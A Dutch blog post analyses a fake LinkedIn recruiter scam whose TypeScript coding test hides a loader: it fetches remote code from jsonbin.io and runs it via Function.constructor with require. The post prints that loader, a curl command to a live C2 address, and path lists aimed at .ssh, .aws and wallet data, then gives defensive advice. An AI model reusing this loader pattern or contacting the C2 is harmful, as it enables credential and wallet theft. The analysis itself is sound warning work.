Hoe je je systeem kunt compromitteren met een sollicitatiegesprek
Een "relevante kans" met parttime remote werk en een uitstekende uurtarief is precies wat veel software engineers in een gesprek trekt wanneer er een nieuw jobaanbod via LinkedIn binnenkomt. Zo is het ook gebeurd met een vriend van mij.
Het jobaanbod sloot zeer goed aan bij zijn eerdere ervaring. Het sollicitatieproces werd versneld door, na enkele berichten op LinkedIn, direct een programmeeropdracht (coding challenge) te sturen.
Belangrijke opmerking: Het eerste contact werd gelegd in de naam van een bedrijf dat hier niet van wist. Het is dus pure phishing om geheimen en inloggegevens te stelen. Het betreffende bedrijf is hiervan op de hoogte en heeft reeds een bericht op LinkedIn gepubliceerd om de situatie uit te leggen.
Voordat je aan een test begint, zou je argwanend moeten zijn bij het volgende:
- De persoon die contact met je opneemt, maakt op LinkedIn geen deel uit van het bedrijf.
- Er is geen eerste kennismakingsgesprek voordat je de programmeertest ontvangt.
- De test is in een andere programmeertaal dan waarin jij bekwaam bent.
- De code is beschikbaar op Bitbucket, wat naar mijn mening ongebruikelijk is.
- Het e-mailadres van de verzender is een
@gmail.com-adres in plaats van een officieel bedrijfsadres.
Achteraf is alles duidelijk, dus we oordelen hier niet.
Hoe het begint
De taak is om diverse problemen op te lossen en de logica in een gegeven TypeScript-codebase uit te breiden. Het project dat je ontvangt bestaat uit:
- Ongeveer 180 bestanden.
- Een mix van dode en werkende code.
- Geen obfuscatie (versluiering) of minificatie.
... maar er zitten wel enkele aanroepen naar externe https://api.jsonbin.io-endpoints in. Als je de 180 bestanden met code niet volledig leest, ben je gevangen.
Hier is het verdachte gedeelte van de code dat verdergaande pakketten downloadt om je systeem te inspecteren:
const initPriceConfig = async () => {
const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d";
const res = (await axios.get(`${src}`));
const handler = new (Function.constructor)('require', res.data.record.model);
if (handler) handler(require);
};
initPriceConfig();
De interne logica van de applicatie voert deze functie altijd als eerste uit bij het uitvoeren van npm run dev, npm start, enzovoort. Omdat het require meegeeft, kan het het volgende doen:
require('child_process')voor het uitvoeren van shell-commando's.require('fs')voor het lezen/doorzoeken van het bestandssysteem en het schrijven van persistente data.require('net')/require('https')om een eigen exfiltratiekanaal te openen.- Direct
process.envuitlezen, wat in deze app betekent:MONGOURI,JWTSECRET,SENDGRIDAPIKEY,CLOUDINARYAPISECRET,PAYTMMERCHANTKEY.
Kortom: veel dingen die je absoluut niet op je systeem wilt laten gebeuren.
Een nadere blik: de second stage loader
De respons van het jsonbin.io-endpoint is in feite een remote-code execution loader. De record.model payload bestaat uit 24.686 tekens aan obfuscator.io JavaScript, verpakt rond een kleine webpack-bundle.
Na het de-obfusceren van de teruggestuurde payload krijgen we opnieuw een reeks versluierde JavaScript-code. Deze code haalt gegevens op van de C2 (Command & Control) server: http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5.
Ik kon het volgende stuk code ophalen met dit commando:
curl -sS -v --max-time 30 \
-H 'Authentication: jwt' \
-H 'Accept: application/json, text/plain, */*' \
-A 'axios/1.5.3' \
-D headers.txt \
-o body.bin \
'http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5'
Er is een Authentication-header nodig met jwt als token. Dit endpoint levert meer obfuscated JavaScript-code, specifiek de volgende vier modules:
- scdata: Een interactieve RAT (Remote Access Trojan).
- Bevat
node-ptyvoor een volledige shell,ssh2voor pivoting en het stelen van PEM-sleutels,screenshot-desktop+sharpvoor schermopnames,clipboardyen@nut-tree-fork/nut-jsvoor synthetische toetsenbord- en muisbewegingen. Het voert ook fingerprinting uit om te bepalen of er sprake is van een VM of bare metal.
- ldata: Browser-credential en wallet stealer.
- Richt zich op Chrome, Edge, Brave en LT over alle drie de besturingssystemen en elk profiel: Login Data, Web Data, Local Extension Settings LevelDB stores, en de macOS login.keychain.
- Kan 28 wallet-extensies targeten, zoals MetaMask, Phantom, Coinbase, Binance, TronLink, Trust, Keplr, Coin98, OKX, Rabby, en 18 andere. Het proces loopt oneindig en uploadt ongeveer elke minuut opnieuw.
- File grabber: Doorzoekt de home-directory.
- Zoekt naar
private key,secret phrase,metamask,bitcoin,solana,.env,.pem,.p12,*.pfx, plus documenten en afbeeldingen, en volledige.ssh,.aws,.gnupgen.dockerdirectories. Op Windows enumereert het bovendien alle schijfletters.
- Clipboard monitor: Bewaakt je klembord.
- Pollt het klembord en stuurt dit naar buiten, waarbij het zich verbergt achter de lognaam
npm-compiler.log.
Wanneer het slachtoffer verbinding maakt met 147.189.174.138:7321, ziet de server het bronadres op de geaccepteerde socket, precies zoals elke webserver het IP-adres van een bezoeker ziet. Er is geen discovery, geen scanning en geen registratie van een adres nodig. Dit is precies waarom een outbound-only ontwerp zo handig is voor de aanvaller: het werkt achter NAT, CGNAT, een corporate proxy of een home-router zonder configuratie, en het maakt niet uit of het IP-adres van het slachtoffer verandert.
Je hebt de deur naar de hel geopend terwijl je gewoon een baan wilde.
Waarom kan het toegang krijgen tot al je bestanden?
De malware haalt de home-directory van de huidige gebruiker op en bouwt vervolgens de paden op om te inspecteren:
rootDir = os.userInfo().homedir + '',
configDir = [ path.join(os.homedir(), ".aws"),
path.join(os.homedir(), ".ssh"),
path.join(os.homedir(), ".azure"),
path.join(os.homedir(), ".foundry"),
path.join(os.homedir(), ".config"),
//...
]
Het vraagt nooit om verhoogde rechten. Het heeft geen root, UAC of sudo nodig, omdat niets waar het naar zoekt eigendom is van root. SSH-sleutels, AWS-credentials, browserprofielen, wallet-data, .env-bestanden: dit is allemaal standaard eigendom van de gebruiker, omdat je deze routinematig moet kunnen lezen. Een proces dat onder jouw account draait, erft die toegang. Node doet hier niets exotisch; cat ~/.ssh/id_rsa vanuit een shell zou identiek werken.
Op Windows gaat het verder dan de home-directory; het enumereert schijfletters via PowerShell en roept scanDir aan op elke root, waardoor ook gemapte netwerkschijven en secundaire schijven binnen bereik vallen.
Voorzorgsmaatregelen voor de volgende keer
Een paar dingen hadden kunnen helpen, hoewel er nooit 100% bescherming is. In principe zou je dit soort zaken niet verwachten van code die je krijgt voor een sollicitatiekans.
AI: een zwakke bescherming
Vraag je favoriete AI om het project te scannen op anomalieën — obfuscated code, minificaties, aanroepen naar externe endpoints, ongebruikelijke codepatronen, etc. Dit is slechts een gedeeltelijke oplossing, aangezien de AI wel de aanroep naar jsonbin.io zou zien, maar niet wat de teruggestuurde waarden zijn. Opmerking: Claude Code was niet in staat om vreemde zaken te detecteren wanneer er simpelweg werd gevraagd het codebase te scannen op ongebruikelijke patronen.
Docker: een gedeeltelijk zwakke bescherming
Het plaatsen van de code in Docker en deze alleen daar uitvoeren, isoleert je host-systeem en onthult geen opgeslagen geheimen — zolang je geen host-data in de container mount.
Vagrant: waarschijnlijk de beste keuze
Het uitvoeren van de code in een volledig geïsoleerd systeem is mogelijk de beste keuze. Maak een snapshot van je VM vooraf en herstel deze achteraf. Als er geen UI/Desktop-omgeving is, zijn de modules voor het lekken van browserdata of screenshots beperkt. Toch blijven de RAT en de file grabber werken.
Let op dat de RAT actief fingerprinting uitvoert op VM-gebruik. Het voert system_profiler uit, leest /proc/cpuinfo en grept naar vmware, qemu, microsoft corporation, om vervolgens de beacon te taggen met (VM) of (Local). Deze vlag dient waarschijnlijk voor triage door de operator: een VM is waarschijnlijk een sandbox en minder waarschijnlijk een plek met echte wallets, waardoor deze met lagere prioriteit of voorzichtiger wordt behandeld.
Wat nu?
Wanneer de schade is aangericht, is het raadzaam om het volgende te doen:
- SSH-sleutels intrekken en roteren.
- Wachtwoorden wijzigen.
- Controleren of er plaintext-geheimen of informatie is opgeslagen die gewijzigd moet worden.
- ... en je OS opnieuw installeren — beter safe dan sorry.
Ondertussen is het profiel van de visser (de nep-recruiter) verwijderd.
Groetjes,